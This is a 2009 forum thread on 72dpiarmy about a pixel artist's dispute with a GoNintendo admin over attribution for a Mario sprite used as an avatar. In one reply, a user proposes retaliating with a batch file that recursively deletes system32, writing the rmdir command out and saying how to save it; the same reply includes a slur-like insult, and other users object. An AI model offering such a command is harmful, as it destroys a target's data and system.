72dpiarmy

Blah Blah Blah => General Discussion => Topic started by: EmThree on June 14, 2009, 02:12:25 PM

Title: I need your help, 72dpiarmy
Post by: EmThree on June 14, 2009, 02:12:25 PM
Quite some time ago, I uploaded the following image to 8bc. (http://http://8bitcollective.com/images/EmThree/CHOOSE+YOUR+FLAVOR+PLZ/)

I would like you to take note of the "License Information" box right below the image. It clearly states that "any reproductions of this work must be accompanied by a link to the artist's page."

Now, look  back at the image and look at the right. We've got some anonymous comments here by a fellow named 'cortjezter'.

In his first comment, he says

Quote
cortjezter : 'ey mate, i fell in love with this piece so much that i animated a gif from it during a little forced internet downtime. gonintendo.com/cortjezter/cj_avatarmario.gif thanks for the brilliant work and inspiration!
Now that's cool and everything, but he is still using my work. Sure, it's modified, but most of it is intact, including the colors as well. Because I'd like to be credited, I reply to him with this, in the comments box:

Quote
Hey, that's a pretty cool gif. I'd like to know though, am I being credited for the mario design in some way? These weren't created for avatar use anyways.
He then responds that he "provided a link in the forum it is being used". By that, I assumed he had a link in his signature saying "avatar thanks to EmThree", linking to my page. I didn't bother checking the forum myself to make sure and took his word for it.

Now, fast forward a few months later. My buddy FantomenK (http://http://8bitcollective.com/members/Fantomenk) tells me he thinks he saw my work being used on some forum without being credited and gives me the link. To my surprise, he linked me to a post by cortjezter on yes, Gonintendo forums. This guy's an admin on there too!

Now, here (http://http://www.gonintendo.com/boards/viewtopic.php?f=10&t=991) is a post by this guy. Note that he's using that avatar again. But say you were just someone who was lurking the forums and saw this post. You would assume he made that avatar entirely from scratch. Why? There is no credit on this page whatsoever.

So, I send him an email.
Quote
Hi, this is EmThree of 8bc. I recall you asking to use an avatar you created with my sprite on. I did ask you however to credit me. I've never been on the Go Nintendo forums but a friend of mine said he saw someone using an avatar with my Mario sprite and give me a link. I looked around for some visible form of credit but could not find any. If you did credit me, my bad, but if you continue to use my avatar I request you to place a link in your sig saying "Avatar inspired by EmThree" which links back to my page on 8bc, which can be found here "http://www.8bitcollective.com/members/EmThree/". If you refuse, please kindly remove your avatar.
Sounds reasonable enough if you ask me. Going back to the 'License Information' I quoted earlier, as this piece is under the CC, he should be linking back to my 8bc page on every single post of his.

Now, on the same day, I get an email back from him. Not all of his emails will come back this fast though.

Quote
Thanks for your message. I obviously didn't hide the fact I appropriated one of your designs since I contacted you as an FYI. I was also honest about crediting you with a link. Our site's forums has a dedicated threads for users to share their avatars, which is where my animated avatar was introduced and you are credited by name with the same link you provided below.

http://gonintendo.com/boards/viewtopic. ... 386#p73386 (http://gonintendo.com/boards/viewtopic.php?p=73386#p73386)

Thanks for following up, and of course keep up your fantastic pixel art!
Take a moment to actually click that link. This is some obscure post in some obscure corner of the forum that almost no one will be able to find unless they actually look for it. If you were just lurking on the forums, chances are, you will not stumble upon page three of this inactive topic.

Now, I send him back another email on the same day, April 23rd.

Quote
I understood that it'd be placed 'somewhere' on the site, from that I expected that it would be in your profile page or your signature, not a link in a topic. Not every user on the site is going to visit that topic and know where your avatar comes from, correct?
His next email does not come for another 45 days. On June 8th, I sent him an email asking him to reply for me as it has been 'several months'. He then replies to me on the same day.

Quote
Sorry, I've been a bit busy with so many other things, but ~45 days hardly qualifies as "several months" :-P

Anyway, since my custom-made avatar was created from scratch using one of your designs as inspiration, as a somewhat derivative work, I have given you attribution on our site in the most appropriate location we have available, and freely volunteered all information proactively. Unfortunately, our system does not have a feature to include such additional information in profiles, and my signature is not always included with every post, nor does it contain any related design to my avatar, so it would be inappropriate and confusing to provide a link there. As far as I'm concerned, the requirement for showing attribution is satisfied in the most complete and appropriate way available considering its usage, our site capabilities, and that it was created from scratch for non-commercial purposes.

There's really nothing more I can do for you, except thank you again for the initial inspiration and encourage you to continue pursuing your creative endeavours.

Thank you and best regards,
...and my reply pretty much destroys his 'argument' (if you can call it that).

Quote
While 45 days may not be "several months", it still is a considerable wait for a response to such a simple issue. I have been busy as well with school work, side projects and whatnot but I still make an effort to answer email messages promptly. While I understand you have put time and effort into your avatar, as you admit, it is derived from my work. All of my work is protected under the Creative Commons license, which is clearly stated on every image in my art gallery. Right below my images and their descriptions, it is clearly stated that "Any reproductions of this work must be accompanied by a link to the artist's page." Your avatar is no doubt a reproduction of my work. Though your animated .gif is indeed made by you, many elements of my original work can be found in it, including my color choices . My images are not stock images that may be manipulated freely. I did not intend for people other than myself to be using them as avatars or signatures unless I clearly designed them for that purpose.

Every single post with your avatar can be considered its own 'reproduction of my work' and therefore requires an appropriate link.

Referring back to my original email from 45 days ago, as you have shown that you are not willing to place a link in your signature, kindly remove the avatar. You are free to create your own avatar, entirely from scratch or another sprite.
I sent that last email 5 days ago. Only 40 more until he sends another one : /


I rest my case and I need your help. If it is allowed on these forums, I would post his email address for you to send emails back to him. If not, just suggest to me what to do.

tl;dr version:
An admin on Go Nintendo uses an avatar based off of my work. I ask him to place a link in his signature or on his profile page somehow and he says it would not make sense. Instead a link to my work is in some far off topic which no one can find. Under the CC license, he is required to place a link back to my page for every reproduction of my work.

Now, I was suggested to take my case to Go Nintendo itself, where cortjezter is very active. I rewrote this topic and posted it. Within 30 minutes, it was deleted and I was given a permanent IP ban.

Also, this has been copypasta'd from another forum I posted this on. But the message is still the same.
Title: Re: I need your help, 72dpiarmy
Post by: MC Jimmy on June 14, 2009, 02:21:01 PM
I mean just the fact he banned you when you called him out tells you he doesn't care about what you asked. It's like someone taking sprites from the spriters-resource, making a flash and not given credit to the website for them. It's not like it's hard to make a tiny...

Props to EmThree for the Avy design ^_^

if he doesn't want to link to your profile.
Title: Re: I need your help, 72dpiarmy
Post by: EmThree on June 14, 2009, 02:24:19 PM
He says posting the email messages violated the ToS.
Title: Re: I need your help, 72dpiarmy
Post by: MC Jimmy on June 14, 2009, 02:27:06 PM
Quote from: "EmThree"
He says posting the email messages violated the ToS.
So someone emails you, says your gonna be killed by them, you share it with people, its a violation?
Title: Re: I need your help, 72dpiarmy
Post by: Tanuki on June 14, 2009, 02:50:00 PM
When I see somebody's avatar I usually assume it's somebody else's work cropped and that's what most people do.

:V
Title: Re: I need your help, 72dpiarmy
Post by: Roxas on June 14, 2009, 09:10:19 PM
oh my god, what a prick, Email the staff at Gonintendo, and tell them your story, don't copy/paste this message. and be polite as possible. and if that doesn't work, try some   image Protection methods (http://http://www.riecks.com/security/)
Title: Re: I need your help, 72dpiarmy
Post by: Rockerfrick on June 15, 2009, 04:56:56 AM
Hey that's not right - that's clear plagiarism. And that "banning you" thing proves that cortjezter and the GoNintendo site is guilty and responsible for stealing your work. Roxas's link is helpful enough.

I recommend doing avatars by themselves - there you can have your own idea, plus you are safe of copyright infringement.
Oh BTW - your work is cute-Mario has dot eyes....aww it reminds me of cats.... :wink:
Title: Re: I need your help, 72dpiarmy
Post by: theguywhodosentcare on June 15, 2009, 05:19:55 AM
Quote from: "MC Jimmy"
Quote from: "EmThree"
He says posting the email messages violated the ToS.
So someone emails you, says your gonna be killed by them, you share it with people, its a violation?
ok thats illeagel it may not seem like it cause everyone says it but its friken illeagel
Title: Re: I need your help, 72dpiarmy
Post by: Roxas on June 15, 2009, 07:42:03 AM
Quote from: "MC Jimmy"
Quote from: "EmThree"
He says posting the email messages violated the ToS.
So someone emails you, says your gonna be killed by them, you share it with people, its a violation?
Lol that's different, if the [s:28edytdx]Moderators[/s:28edytdx] government reads something like that, expect  [s:28edytdx]to get banned[/s:28edytdx] the swat team at your house in at least 3 seconds.

(http://http://img523.imageshack.us/img523/1939/loldinmypants.jpg)

"You" is the guy who said "lol immah kill u"
Title: Re: I need your help, 72dpiarmy
Post by: formula1 on June 15, 2009, 12:34:27 PM
Not to play devils advocate but.....

Your Mario Pics were freakin' awesome, however, to my knowledge so few people saw them compared to what you are capable of.

Him using your picture as an avatar is both a compliment and advertisement, not to you.... but to the art style...

So long as you take this art style to the max, everyone will see you as the creator.
Otherwise, Your mario pics will simply be a beautiful picture for a small group of people to respect.

However, now that the picture is out there in a community, there is possibility more people will try to take the theme of your work and give it more settings.

It can be frustrating that people don't consider you the originator, but whats the point of letting everyone know your the father when you hardly talk or take care of the kid.
People will know you are the father depending on how much works comes out of you. Anyone could have been inspired, you just so happened to.

If this was about money however, I completely agree and would say go to the full extent of the law to bring his ass down.


tl:dr version

Grow up and deal with it. Its more of a complement then it is a betch move. Just make sure your kicking out better content and make sure you prove to everyone that you are the originator, and then he is simply someone that enjoyed your work and went with it.
I think its better anyway when people steal work like yours
I feel like your awesomeness is isolated to only a few areas, the more people see your work, the more the awesomeness of your work will be seen.
those marios were pretty awesome

If it was about money, things would be different though
Title: Re: I need your help, 72dpiarmy
Post by: EmThree on June 15, 2009, 04:20:35 PM
You know, I'd be taking it as a compliment if he wasn't misleading people into thinking he made it from scratch. By having his name below the avatar, you'd assume he made it. Secondly, in his post where he 'credited' me, he also states that it is made from scratch. He doesn't link to the exact piece he based it off of, he just links to my profile.

He's added credit to his sig though in very small text but I am still banned from the forums. I would like larger text but has has stopped replying to my emails.
Title: Re: I need your help, 72dpiarmy
Post by: Roxas on June 15, 2009, 06:35:20 PM
Try emailing cortfagzter again, and tell him to at least remove his name from your work.
Title: Re: I need your help, 72dpiarmy
Post by: Rockerfrick on June 16, 2009, 03:21:20 AM
That cortsh**tzster might not reply as he was obsessed with M3's work. Yes he is stealing M3's work, and that indicates he will refuse it. Try to scare him  :twisted: ? What d'ya think?
Title: Re: I need your help, 72dpiarmy
Post by: Roxas on June 16, 2009, 09:02:52 AM
try bombing his computer with a batch file that will delete system 32
Code: [Select]
rmdir "C:\system32" /Q/S>nul

Write that in a .txt file and save it as a .bat file, have fun!

Which kind of reminds me of something I did, On a school computer I created a batch file with this code

Code: [Select]
@echo off
msg * lol
msg * lol
msg * lol
msg * lol
msg * lol
except it was Much spammier (i copied the message like 20+ times.)

I saved it as "DON'T CLICK ME.bat" and sure enough one my friends clicked it, who could resist clicking something they shouldn't? the end result was her trying to close the message, but it kept popping up, so she got pissed off, and I Lol'd for the rest of the class.
Title: Re: I need your help, 72dpiarmy
Post by: MC Jimmy on June 16, 2009, 10:04:33 AM
Yeah, do not suggest stuff like that Jeremy, that's not very nice. :cry:
Title: Re: I need your help, 72dpiarmy
Post by: Felix-The-Ghost on June 16, 2009, 02:35:30 PM
Its also pretty illegal.
Referencing people by old usernames isn't very nice  :wink:
Title: Re: I need your help, 72dpiarmy
Post by: MC Jimmy on June 16, 2009, 02:46:40 PM
Quote from: "Felix-The-Ghost"
Its also pretty illegal.
Referencing people by old usernames isn't very nice  :wink:
Well that's silly. It's like if I changed my name to rhinoceros and someone said Jimmy, since that's my name, it's not like they are doing anything wrong man. :P
Title: Re: I need your help, 72dpiarmy
Post by: Felix-The-Ghost on June 16, 2009, 04:17:02 PM
Quote from: "Maiden's Voice"
I need your help, 72dpiarmy
It's dangerous to go alone! Use this.
(http://http://img15.imageshack.us/img15/8968/arg.gif)
Credit inside avatar  :)
Title: Re: I need your help, 72dpiarmy
Post by: Roxas on June 16, 2009, 05:47:48 PM
Quote from: "Felix-The-Ghost"
Its also pretty illegal.
Referencing people by old usernames isn't very nice  :wink:
I really Don't mind, I like beeing called by my name.
Title: Re: I need your help, 72dpiarmy
Post by: SsF on June 16, 2009, 05:58:02 PM
personally i like Felix's idea.

chances that the guy will actually agree to do that is slim, however...

you can just hope that it blows over M3. People change their avatars. Hopefully he will soon and then it will all blow over.